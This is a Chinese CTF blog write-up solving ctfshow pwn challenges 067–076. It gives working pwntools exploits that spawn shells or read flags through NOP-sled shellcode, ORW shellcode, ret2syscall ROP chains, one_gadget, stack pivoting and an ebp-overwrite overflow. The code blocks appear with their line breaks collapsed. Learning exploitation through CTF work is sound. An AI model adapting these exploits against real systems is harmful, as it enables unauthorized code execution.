首页/文章/CTF PWN

ctfshow PWM 067-076

简简单单的复健

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

067

题目描述

32bit nop sled

根据描述,这道题的预期解法应该是用到 NOP 滑梯的

alt text

alt text

关键函数如上,可以看见 position 的位置一定是比 main 函数栈帧更低的,因为 main 来自于 v1 + v2,v2 取值范围大概是 (0~1336) - 668 , 也就是 v1 +- 668(0x29c),那我们调用 query 的时候
alt text

这是其 ESP 值
alt text

这是 main-ebp 的值,我们可以看见两者差值 0x1018, 那么接着压入返回地址,ebp ,那么我们可以大致算出
query_ebp = main_ebp - 0x1020
v1 就是 main_ebp - 0x1035 ,position 就是 main_ebp - 0x1035 +- 0x29c seed 起始位置是 main_ebp -0x100c 那我们可以粗略的算出两者差值 29 +- 29c 也就是 [-2c5 ~ 273]
差值算出来那就可以写脚本了,脚本如下

python
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)p = process("./pwn")p.recvuntil(b"The current location: ")leak = int(p.recvline().strip(), 16)log.success(f"leak = {hex(leak)}")shellcode = asm(shellcraft.sh())payload = b"\x90" * (0x1000 - 1 - len(shellcode)) + shellcodep.sendlineafter(b"What will you do?\n> ", payload)p.sendlineafter(b"Where do you start?\n> ", hex(leak + 0x400).encode())p.interactive()

alt text

068

题目描述

64bit nop sled

alt text

alt text

还是按照我们之前的方法算差值
alt text

alt text

main_rbp - v1 0x1045 v1seed0x35 position 就是 [-2d1 ~ 267]

python
#! /usr/bin/env python3from pwn import *context(os="linux", arch="amd64", log_level="info")elf = ELF("./pwn", checksec=False)p = process("./pwn")p.recvuntil(b"The current location: ")leak = int(p.recvline().strip(), 16)log.success(f"leak = {hex(leak)}")shellcode = asm(shellcraft.sh())payload = b"\x90" * (0x1000 - 1 - len(shellcode)) + shellcodep.sendlineafter(b"What will you do?\n> ", payload)p.sendlineafter(b"Where do you start?\n> ", hex(leak + 0x400).encode())p.interactive()

alt text

069

题目描述

可以尝试用ORW读flag flag文件位置为/ctfshow_flag

根据提示应该是 ret2orw
回顾一下 ret2orw

前置知识

劫持程序流完成

text
open("flag",0)read(fd,buf,size)write(1,buf,size)

ret2orw 是发生在被沙箱禁用了一些函数情况下,如 execeve 情况下

open

c
fd = open("flag", 0);
text
0 -> stdin1 -> stdout2 -> stderr3 -> 第一个新打开的文件

当程序没有 flag 字符串,我们需要让程序中含有 flag 需要用到 read
完整逻辑

text
read(0, bss, 0x20);        // 写入 "flag\x00"fd = open(bss, 0);         // 打开 flagread(fd, bss+0x100, 0x100);// 读取 flag 内容write(1, bss+0x100, 0x100);// 打印 flag 内容

题目内容

alt text
允许 read open write exit
alt text

alt text

alt text

alt text

正常我们 ret2orw 需要 rdi rsi rdx ,但很明显这道题溢出空间不够,checksec 发现 NX 没开,那我们就有了利用思路,首先我们在栈上布局好短 loader 机器码,之后利用 jmp rsp 跳到后面紧接着布局的 asm gadget,将 rsp 恢复再跳转即可

python
#!/usr/bin/env python3from pwn import *context(os="linux", arch="amd64", log_level="info")elf = ELF("./pwn", checksec=False)mmap = 0x123000p = remote("pwn.challenge.ctf.show", 28304)p.recvuntil(b"Now you can use ORW to do\n")orwshell = shellcraft.open("/ctfshow_flag") + shellcraft.read(3, mmap, 0x100) + shellcraft.write(1, mmap, 0x100)orwshell = asm(orwshell)payload = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax,0x123000; jmp rax")payload = payload.ljust(0x28, b"\x00")payload += p64(0x400a01) +  asm("sub rsp,0x30;jmp rsp")p.sendline(payload)p.sendline(orwshell)p.interactive()

alt text

注意跳转不要跳到函数开头,我们要的是 jmp rsp 这个 gadget 本身

070

题目描述

可以开始你的个人秀了 flag文件位置为/flag

alt text

会对输入进行检查,是否为可打印字符,只有可打印字符才是合法的
alt text

NX 没开,可以看到
alt text
会 call rax
alt text

alt text
同时我们看到 CF 会被设置为 0,所以我们只需要开头机器码为 \x00 即可,也是拷打 AI 写了个 shell

python
#! /usr/bin/env python3 from pwn import *context(os="linux", arch="amd64", log_level="info")elf = ELF("./pwn", checksec=False)p = remote("pwn.challenge.ctf.show", 28104)shellcode = bytes.fromhex(      "00c0"      "68666c6167"      "c64424ff2f"      "48ffcc"      "4889e7"      "31f6"      "6a02"      "58"      "0f05"      "97"      "4889e6"      "31d2"      "b260"      "31c0"      "0f05"      "6a01"      "5f"      "6a01"      "58"      "0f05"      "31ff"      "6a3c"      "58"      "0f05"  )p.recvuntil(b"Welcome,tell me your name:\n")p.sendline(shellcode)p.interactive()

alt text

071

题目描述

32位的ret2syscall

看见IDA 很多函数,应该是静态链接了

alt text

偏移跟 IDA 不一样,具体验证是
alt text

是 112

python
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)rop = ROP(elf)p = process("./pwn")pop_eax = rop.find_gadget(["pop eax", "ret"]).addresspop_edx_ecx_ebx = 0x806eb90int80 = rop.find_gadget(["int 0x80", "ret"]).addressbin_sh = next(elf.search(b"/bin/sh\x00"))p.recvuntil(b"Try to use ret2syscall!\n")offset = 112payload = b"A" * offsetpayload += flat([    pop_eax, 11,    pop_edx_ecx_ebx, 0 , 0 , bin_sh,    int80])p.sendline(payload)p.interactive()

alt text

072

题目描述

接着练ret2syscall,多系统函数调用

alt text

没有 /bin/sh 那看来需要我们自己构造了
alt text

实际偏移

python
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)rop = ROP(elf)p = process("./pwn")pop_eax = rop.find_gadget(["pop eax", "ret"]).addresspop_edx_ecx_ebx = 0x0806ecb0int80 = rop.find_gadget(["int 0x80", "ret"]).addressp.recvuntil(b"where is my system?\n")offset = 44payload = b"A" * offsetpayload += flat([    pop_eax,3,    pop_edx_ecx_ebx,0x100,0x80EA54C,0 ,    int80,    pop_eax, 11,    pop_edx_ecx_ebx, 0 , 0 ,0x80EA54C ,    int80])p.sendline(payload)p.sendline(b"/bin/sh\x00")p.interactive()

073

题目描述

愉快的尝试一下一把梭吧!

python
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)rop = ROP(elf)p = process("./pwn")pop_eax = rop.find_gadget(["pop eax", "ret"]).addresspop_edx_ecx_ebx = 0x0806f050int80 = rop.find_gadget(["int 0x80", "ret"]).addressp.recvuntil(b"Try to Show-hand!!\n")offset = 28payload = b"A" * offsetpayload += flat([    pop_eax,3,    pop_edx_ecx_ebx,0x100,0x80EA54C,0 ,    int80,    pop_eax, 11,    pop_edx_ecx_ebx, 0 , 0 ,0x80EA54C ,    int80])p.sendline(payload)p.sendline(b"/bin/sh\x00")p.interactive()

一把梭
有个实用命令 ROPgadget --binary ./pwn --ropchain

alt text
自动尝试生成一条调用 execve("/bin/sh", NULL, NULL) 的 ROP 链

074

题目描述

噢?好像到现在为止还没有了解到one_gadget?

前置知识: one_gadget

是 ret2libc 的简化技巧,指的是 libc 里面有些地址只要跳转过去满足特定条件就能触发 shell

c
execve(pathname, argv, envp); 这是其完整原型

argv 是参数数组 ,envp 是环境变量数组

python
#!/usr/bin/env python3from pwn import *context(os="linux", arch="amd64", log_level="info")HOST = "pwn.challenge.ctf.show"PORT = 28103PRINTF_OFF = 0x64e40ONE_GADGET_OFF = 0x10a2fcp = remote(HOST, PORT)p.recvuntil(b"What's this:")printf_addr = int(p.recvuntil(b" ").strip(), 16)libc_base = printf_addr - PRINTF_OFFone_gadget = libc_base + ONE_GADGET_OFFlog.success(f"printf = {hex(printf_addr)}")log.success(f"libc   = {hex(libc_base)}")log.success(f"one    = {hex(one_gadget)}")p.sendline(str(one_gadget).encode())p.interactive()

alt text

075

题目描述

栈空间不够怎么办?

根据这道题的描述,大概率是用到栈迁移的

前置知识:栈迁移

在 rbp 中放置我们目标栈底,返回地址放 leave ret 这样子实际上 leave ret 两次,第一次迁移 rbp,第二次迁移 rsp

题目

alt text

alt text

可以看见可以我们刚好能够放置 rbp 和 返回地址
第一遍 read 泄露栈上保存的 ebp ,之后我们反推buf起始地址
alt text

注意我们动调的时候最后可以换成 0x27 ,不然多出来的 \n 会覆盖一个字节的 ebp
alt text

可以看出距离 0x38

python
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)p = process("./pwn")offset = 0x28leave_ret = 0x080484d5system_addr = elf.symbols["system"]payload = b"a" * (offset - 1) + b"b"p.recvuntil(b"codename:\n")p.send(payload)p.recvuntil(b"b")leak = u32(p.recv(4))log.success(f"leak = {hex(leak)}")buf_addr = leak - 0x38log.success(f"buf_addr = {hex(buf_addr)}")p.recvuntil(b'What do you want to do?\n')payload = p32(0) +p32(system_addr) + p32(0) + p32(buf_addr + 16) + b"/bin/sh\x00"len = len(payload)payload = payload.ljust(0x28, b"\x00") + p32(buf_addr) + p32(leave_ret)p.sendline(payload)p.interactive()

alt text

076

题目描述

还是那句话,理清逻辑很重要

alt text

IDA

c
int __cdecl main(int argc, const char **argv, const char **envp){  char v4; // [esp+4h] [ebp-3Ch]  int v5; // [esp+18h] [ebp-28h] BYREF  _BYTE s[30]; // [esp+1Eh] [ebp-22h] BYREF  unsigned int v7; // [esp+3Ch] [ebp-4h]  memset(s, 0, sizeof(s));  setvbuf(stdout, 0, 2, 0);  setvbuf(stdin, 0, 1, 0);  printf("CTFshow login: ", v4);  _isoc99_scanf("%30s", s);  memset(&input, 0, 0xCu);  v5 = 0;  v7 = Base64Decode(s, &v5);  if ( v7 > 0xC )  {    puts("Input Error!");  }  else  {    memcpy(&input, v5, v7);    if ( auth(v7) == 1 )      correct();  }  return 0;}
c
int __cdecl Base64Decode(int a1, _DWORD *a2){  int v2; // eax  int v3; // eax  int v4; // eax  int v5; // eax  int v7; // [esp+1Ch] [ebp-1Ch]  int v8; // [esp+20h] [ebp-18h]  int v9; // [esp+24h] [ebp-14h]  int v10; // [esp+2Ch] [ebp-Ch]  v10 = calcDecodeLength(a1);  *a2 = malloc(v10 + 1);  v2 = strlen(a1);  v9 = fmemopen(a1, v2, &unk_80DA64A);  v3 = BIO_f_base64();  v8 = BIO_new(v3);  v4 = BIO_new_fp(v9, 0);  v7 = BIO_push(v8, v4);  BIO_set_flags(v7, 256);  v5 = strlen(a1);  *(_BYTE *)(*a2 + BIO_read(v7, *a2, v5)) = 0;  BIO_free_all(v7);  fclose(v9);  return v10;}

这边的话可以看见返回了解密 base64 后的长度,然后进行校验,明文需要小于 12

c
_BOOL4 __cdecl auth(int a1){  _BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF  char *s2; // [esp+1Ch] [ebp-Ch]  int v4; // [esp+20h] [ebp-8h] BYREF  memcpy(&v4, &input, a1);  s2 = (char *)calc_md5(v2, 12);  printf("hash : %s\n", s2);  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;}

进入 auth ,需要对我们的明文进行 md5 校验,那正经校验是走不通的,但是这里有一个溢出点

c
  int v4; // [esp+20h] [ebp-8h] BYREF  memcpy(&v4, &input, a1);

a1 最大是 12,会覆盖到 v4 ,但是 v4 距离 ebp 8 字节,刚好我们能改变 mainebp

c
void __noreturn correct(){  if ( input == -559038737 )  {    puts("Wow Fantastic,you deserve it!");    system("/bin/sh");  }  exit(0);}

如果刚才校验通过,并且 input == -559038737,从汇编看是 0xdeadbeef

alt text

我们去看 input
alt text

起始位置是 0x0811eb40,我们需要在这里放置 0xdeadbeef以此通过 correct 的校验。但关键问题是,我们如何进入 correct。刚才我们提到 auth 函数中我们可以修改 main_ebp,那么,当 main 正常结束后,leave ret就会讲 rsp 指向我们修改的地方。关键点在于,这个 input 不是我们刻意劫持程序存放的,而是程序会自己将我们的解码后的内容拷贝到 input,所以我们的 9-12 字节也就是 fake rbp 会拷贝到 0811eb48 ,我们的 1-4 就会拷贝到 0811eb40 ,而 correct 会从这里取值比较,所以 1-4字节我们需要放置 0xdeadbeef 而由于刚好 retpop [rsp+4] rip,那么此时 0x811eb44 我们布置成 correct 函数的地址。即 payload 构造

python
(0xdeadbeef + correct + fake_ebp).encodebase64

完整脚本如下

python
#! /usr/bin/env python3from pwn import *import base64context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)p = process("./pwn")correct_addr = elf.symbols["correct"]p.recvuntil(b'CTFshow login: ')payload = p32(0xdeadbeef) payload += p32(correct_addr)payload += p32(0x0811EB40)payload = base64.b64encode(payload)p.sendline(payload)p.interactive()

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...